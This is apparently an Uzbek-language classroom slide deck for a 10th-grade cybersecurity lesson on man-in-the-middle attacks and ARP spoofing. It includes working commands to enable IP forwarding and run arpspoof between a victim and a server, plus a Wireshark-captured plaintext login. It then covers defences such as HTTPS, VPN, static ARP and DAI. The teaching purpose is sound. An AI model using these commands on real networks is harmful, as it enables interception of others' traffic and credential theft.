O'rtadagi odam (MITM) hujumi, ARP Spoofing va Wireshark tahlili
10-sinf Kiberxavfsizlik · 2-haftaSniffing, Tampering va xizmat to'xtashi.
Hujumchi qanday qilib trafik oqimiga suqilib kiradi?
Qalbaki ARP Reply paketlari va keshni zaharlash.
HTTPS, statik ARP, DAI va VPN orqali himoyalanish.
Sniffing, Tampering va Availability yo'qotilishi
Sniffing (O'g'irlash)
Tridi Bobning bank kartasi va parollarini ochiq Wi-Fi da tutib oladi.
Tampering (Soxtalashtirish)
Tridi yo'lda Bobning o'tkazma summasini 100 mingdan 10 millionga o'zgartiradi.
DoS / Crash (To'xtatish)
Tridi paketlarni yo'q qiladi yoki serverni qotirib, Bobni tizimdan uzadi.
Man-in-the-Middle arxitekturasi va xavfi
Bob to'g'ridan-to'g'ri router va bank serveri bilan gaplashadi.
Hujumchi o'rtaga joylashadi. Bob xabarni Tridiga beradi, Tridi o'qib, keyin serverga yuboradi!
Lokal tarmoqdagi eng katta zaiflik — ARP protokoli
Lokal tarmoqdagi qurilmalar bir-biri bilan faqat MAC manzil orqali gaplashadi.
Kompyuter kelgan har qanday «Men routerman» degan ARP xabariga ishonadi.
Hujumchi daqiqasiga o'nlab qalbaki javob yuborib, kompyuterning xotirasini buzadi.
# 1. Paketlar uzilib qolmasligi uchun yo'naltirishni yoqamiz
echo 1 > /proc/sys/net/ipv4/ip_forward
# 2. Qurbon (172.16.4.65) va Server (172.16.5.97) o'rtasida zaharlash
sudo arpspoof -i eth0 -t 172.16.5.97 -r 172.16.4.65
Natija: Bobning barcha trafigi Kali Linux orqali oqib o'ta boshlaydi!
Agar saytda HTTPS bo'lmasa, Wiresharkda http.request.method == "POST" filtri orqali login va parollar ochiq ko'rinadi:
POST /login.php HTTP/1.1
Host: test-bank.local
Content-Type: application/x-www-form-urlencoded
username=bob&password=Parol12345!
Tizimlar va foydalanuvchilar himoyasi choralari
Tridi paketni tutib olsa ham, u TLS orqali kuchli shifrlangan, parolni o'qiy olmaydi.
Ochiq Wi-Fi da butun trafik shifrlangan tunnel orqali uzatiladi.
Shlyuz MAC manzilini qo'lda o'zgarmas qilib belgilash.
Tarmoq switchlarida qalbaki ARP Reply larni apparat darajasida bloklash.
Mustaqil tahlil vazifalari
Nega ARP protokoli qalbaki javoblar bilan osongina aldanishi mumkin?
Kali Linuxda `ip_forward` yoqilmasa qanday natija yuz beradi?
Nega brauzer «Sertifikat ishonchsiz» degan paytda davom etish qat'iyan taqiqlanadi?
Katta korporativ tarmoqlarda switch qalbaki ARP paketlarini qanday aniqlaydi?
Tarmoq kabeli yoki Wi-Fi orqali o'tayotgan barcha ma'lumotlar ochiq bo'lishi mumkin. Faqat shifrlash ishonch beradi.
Parolsiz tarmoqlarda maxfiy parollarni kiritmang yoki VPN yoqing.
Sayt manzili yonidagi «Qulf» belgisiga doimo e'tibor qarating.
Keyingi dars: Xavfsizlik tafakkuri va parollar siyosati (Hydra, Nmap)
Savollar bormi?